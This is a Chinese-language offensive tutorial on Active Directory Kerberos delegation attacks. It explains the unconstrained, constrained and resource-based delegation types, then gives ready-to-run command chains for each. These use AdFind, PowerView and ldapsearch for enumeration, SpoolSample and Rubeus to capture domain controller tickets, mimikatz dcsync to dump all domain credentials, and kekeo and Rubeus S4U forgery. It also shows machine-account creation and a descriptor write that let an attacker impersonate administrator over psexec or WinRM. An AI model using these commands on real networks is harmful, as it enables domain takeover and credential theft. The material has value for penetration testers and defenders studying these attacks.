域内委派攻击
域内委派攻击
委派
将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动,接受委派的用户只能是服务账户或者主机账户。
域委派存在三种类型,非约束委派、约束委派、基于资源的约束委派。
Client 需要通过HTTP访问sqlserver 服务器,但HTTP并没有访问sqlserver的权限,这时候HTTP就需要Client的身份去访问sqlserver ,然后再将请求返回给Client
非约束委派
对于非约束性委派(Unconstrained Delegation),
服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT,模拟用户访问任意服务。配置了非约束委派的账户的userAccountControl
属性有个FLAG位TRUSTED_FOR_DELEGATION
。非约束委派的设置需要SeEnableDelegation
特权,该特权通常仅授予域管理员 。
无约束委派****(Unconstrained Delegation)是一种风险性极大的委派方式,它通过TGT转发使服务器具有模拟用户的能力。服务账户根据用户发给自己的可转发的TGT代表用户请求其他任何服务,由此可知,一旦开启了无约束委派的服务账户被攻陷,用户身份将被滥用。
约束委派
为了解决无约束委派的问题,微软更新发布了Kerberos协议拓展S4U,该拓展包含两个协议:传统的约束委派(Constrained Delegation,****aka S4U2Proxy)和协议转换****(Protocol Transition, aka S4U2Self)
即为允许通过dc的凭据访问到alerter服务。
如图中Web Server 需要使用Sql server数据库以用户身份进行访问。通过设置约束委派,可以让Web Server模拟用户访问Sql server并且获取对应资源。
创建spn服务账户
setspn -A http/iis testuser
查询服务账户
setspn -u testuser
设置了服务用户testuser对DC的cifs服务的委派
基于资源委派
传统的约束委派中仍然存在一些缺点,如无法进行跨域委派。
配置受约束的委派,必须拥有SeEnableDelegation特权,该特权是敏感的,通常仅授予域管理员。为了使用户/资源更加独立,Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置受信任的帐户委派给他们。
基于资源的约束委派只能在运行Windows Server 2012 R2和Windows Server 2012的域控制器上配置,但可以在混合模式林中应用
与约束委派最大的不同点,在设置相关的约束委派的实现的时候不再需要域管理员自己去设置相关约束委派的属性,而操作权落在了当前登录的机器或者用户的手中
ADFind
查询非约束委派的主机
AdFind.exe -b "DC=nncm,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询非约束委派的服务账户
AdFind.exe -b "DC=nncm,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找域中配置约束委派用户
AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查找域中配置约束委派的主机:
AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306369)(msds- allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
指定账户密码
adfind.exe -h 10.0.10.110 -u vulntarget\win2016 -up Admin#123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
PowerView
查找域中配置非约束委派用户
Get-NetUser -Unconstrained -Domain nncm.com |select name
查找域中配置非约束委派的主机
Get-NetComputer -Unconstrained -Domain nncm.com | select name
查找域中配置约束委派用户
Get-DomainUser –TrustedToAuth -domain nncm.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
查找域中配置约束委派的主机:
Get-DomainComputer -TrustedToAuth -Domain nncm.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
ldapsearch
查找域中配置非约束委派的用户
ldapsearch -x -H ldap://192.168.201.166:389 -D "CN=test,CN=Users,DC=nncm,DC=com" -w 123456 -b "DC=nncm,DC=com" "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
查找域中配置非约束委派的主机
ldapsearch -x -H ldap://192.168.201.166:389 -D "CN=administrator,CN=Users,DC=nncm,DC=com" -w 123456 -b "DC=nncm,DC=com" "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
查找域中配置约束委派用户
ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=user0x1,CN=Users,DC=networksec,DC=loacl" -w q123456. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306368)(msds- allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
查找域中配置约束委派的主机:
ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=user0x2,CN=Users,DC=networksec,DC=loacl" -w q123456. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306369)(msds- allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
非约束委派+Spooler利用
https://github.com/leechristensen/SpoolSample
Rubeus.exe monitor /interval:1 /filteruser:DC01$
在机器上以管理员权限执行以下命令,监听来自DC机器的相关信息
SpoolSample.exe DC01 WIN-TVHO4UIFMBT
利用SpoolSample强制让DC访问WIN-TVHO4UIFMBT机器,抓取票据
Rubeus导入获取到的TGT票据
Rubeus.exe ptt /ticket:抓取下来的票据base64内容
或使用powershell命令转成文件格式进行凭据导入
[IO.File]::WriteAllBytes("C:\Users\Public\ticket.k
irbi", [Convert]::FromBase64String("base64凭据内容"))
mimikatz.exe "log" "lsadump::dcsync /all /csv" "exit"
约束委派利用
需要获取一个约束委派的账户密码或NTLM HASH
攻击流程:
- 服务1 使用自己的hash向KDC申请一个TGT票据,注意在KDC Option里面选择forwardable标志
位,这样的话请求的TGT票据就是可转发的TGT票据。命令:
tgt::ask /user:user0x2 /domain:networksec.loacl /password:password. /ticket:test.kirbi
-
服务1 代表用户申请一个获得针对服务1自身的ST服务票据(这一步就是S4U2Self),这一步生成的ST服务票据是可转发的
-
服务1 拿着上一步这个ST服务票据向KDC请求访问特定服务的可转发的TGS(S4U2Proxy),并且代表用户访问特定服务,而且只能访问该特定服务。第2/3步命令:
Tgs::s4u /tgt:TGT_user0x2@NETWORKSEC.LOACL_krbtgt~networksec.loacl@NETWORKSEC.LOACL.kirb i /user:administrator@networksec.loacl /service:cifs/user0x2.networksec.loacl
在约束委派的情况下,服务用户只能获取某个用户(或主机)的服务的ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT,首先查询域内配置了约束性委派的服务账号。
使用kekeo
tgt::ask /user:testuser /domain:nncm.com /password:Xx110110110. /ticket:wptgt.kirbi
#如果已知的是服务账号的NTLM Hash,则如下
tgt::ask /user:user0x2 /domain:networksec.loacl /NTLM:xxxxxxxxxxxxxxxx /ticket:test.kirbi
或使用
Rubeus.exe asktgt /user:testuser /domain:nncm.com /password:明文密码
# 如果已知的是服务账号的NTLM Hash,则如下
Rubeus.exe asktgt /user:testuser /domain:nncm.com /rc4:NTLM HASH
执行完成kekeo命令会得到服务用户TGT:
Tgs::s4u /tgt:TGT_user0x2@NETWORKSEC.LOACL_krbtgt~networksec.loacl@NETWORKSEC.LOACL.kirbi /user:administrator@nncm.com /service:cifs/DC01.nncm.com
执行完成后会生成2个票据,进行清空票据后导入
klist purge
kerberos:ptt xxx.kirbi
资源约束委派攻击
powerview
Get-ObjectAcl -SamAccountName "testuser" -ResolveGUIDs | out-file save.txt
查询一个域用户最多可以创建多少台计算机
Get-DomainObject -Identity "dc=nncm,dc=com" -Domain nncm.com
这个值表示的是允许用户在域中创建的计算机帐户数,默认为10,这意味着我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户
为什么需要这个呢?这里还需要引出一个S4U2Self其中的一个知识点
因为基于资源的约束委派中需要用到S4U2Self和S4U2Proxy,又因为S4U2Self只适用于具有SPN的账户,恰好的是在域中有一个属性MachineAccountQuota,所以就需要通过MachineAccountQuota来创建一个SPN的账户来进行委派配合
,而计算机账户默认是注册RestrictedKrbHost/domain和HOST/domain这两个SPN的
知识点:
1、传统的约束委派S4U2Self返回的票据一定是可转发的(Forwardable标记),如果不可转发那么S4U2Proxy将失败;但是基于资源的约束委派不同,就算S4U2Self返回的票据不可转发(可不可以转发由TrustedToAuthenticationForDelegation决定),S4U2Proxy也是可以成功,并且S4U2Proxy返回的票据总是可转发。
查询目标机的msds-allowedtoactonbehalfofotheridentity是否被写入
Get-NetComputer WIN-TVHO4UIFMBT | Select-Object -Property name, msds-allowedtoactonbe
halfofotheridentity
或打开ADSI进行查看
创建一个计算机用户
New-MachineAccount -MachineAccount gg -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
查询新创建的计算机用户的SID
为gg计算机主体创建一个新的原始安全描述符
Get-DomainComputer gg -Properties objectsid | Select -Expand objectsid
#获取我们添加的新计算机的SID
#S-1-5-21-3719624404-3157586140-4111374611-1602
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3719624404-3157586140-4111374611-1602)"
#使用此计算机帐户作为主体来构建新的原始安全描述符
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
#获取SDDL的二进制字节
Get-DomainComputer WIN-TVHO4UIFMBT | Set-DomainObject -Set @{'msds-allowedtoactonbeha
lfofotheridentity'=$SDBytes} -Verbose
#为 msds-allowedtoactonbehalfofotheridentity 设置新的安全描述符
Rubeus.exe hash /user:gg /password:123456 /domain:nncm
Rubeus.exe s4u /user:gg$ /domain:nncm.com /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:administrato/msdsspn:cifs/gg.nncm.com /ptt
可以看到这里获取到了一个cifs的票据,注入到了内存中。这样就可以访问到gg.nncm.com了
psexec.py -dc-ip 192.168.201.11 nncm/administrator@WIN-TVHO4UIFMBT.nncm -k -no-pass
我们知道获取什么服务就提供什么功能,假如对方主机开启了远程管理服务(WinRM)的时候,并且我们知道WinRM是通过HTTP和HTTPS来进行通信的。那么就是需要申请相对于的服务票据,我们可以通过请求HTTP和WSMAN的服务票据,利用Powershell Remoting以域管理员身份连接到目标主机,不用使用其他工具。
Rubeus.exe s4u /user:admin0x1$ /rc4:8F36F32A9708E03A03461EB8720DD0B /domain:one.com /msdsspn:http/dm.one.com /impersonateuser:administrator /ptt
Rubeus.exe s4u /user:admin0x1$ /rc4:8F36F32A9708E03A03461EB8720DD0B /domain:one.com /msdsspn:wsman/dm.one.com /impersonateuser:administrator /ptt
接着就可以使用WinRM来连接到对方的主机了。
New-PSSession -Name Priv -ComputerName dm.one.com
Enter-PSSession -Name Priv
当administrator用户被设置成了敏感账号不能被委派的时候,在使用Rubeus进行票据请求的时候
S4U2Self是请求成功了。但是S4U2Proxy却是失败了。前提是利用条件需要有对方机器的hash,一般情
况下主机在加入域中会随机设置主机账户的密码,所以一般情况下用的是主机账户hash,并且你是不能
修改主机账户的密码,否则该主机就会和域失去信任。
因为S4U2Self请求的票据不可转发,导致的原因。查看一些票据,这里
显示是不可转发的一个票据,也就是设置的administrator用户不可委派的效果。并且该票据没有有效的
服务名称,并且不可转发。
Rebeus加入了一个模块可以直接修改票据的SPN
Rubeus.exe s4u /user:gg$ /domain:nncm.com /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:administrato/msdsspn:cifs/gg.nncm.com /altservice:cifs,host /ptt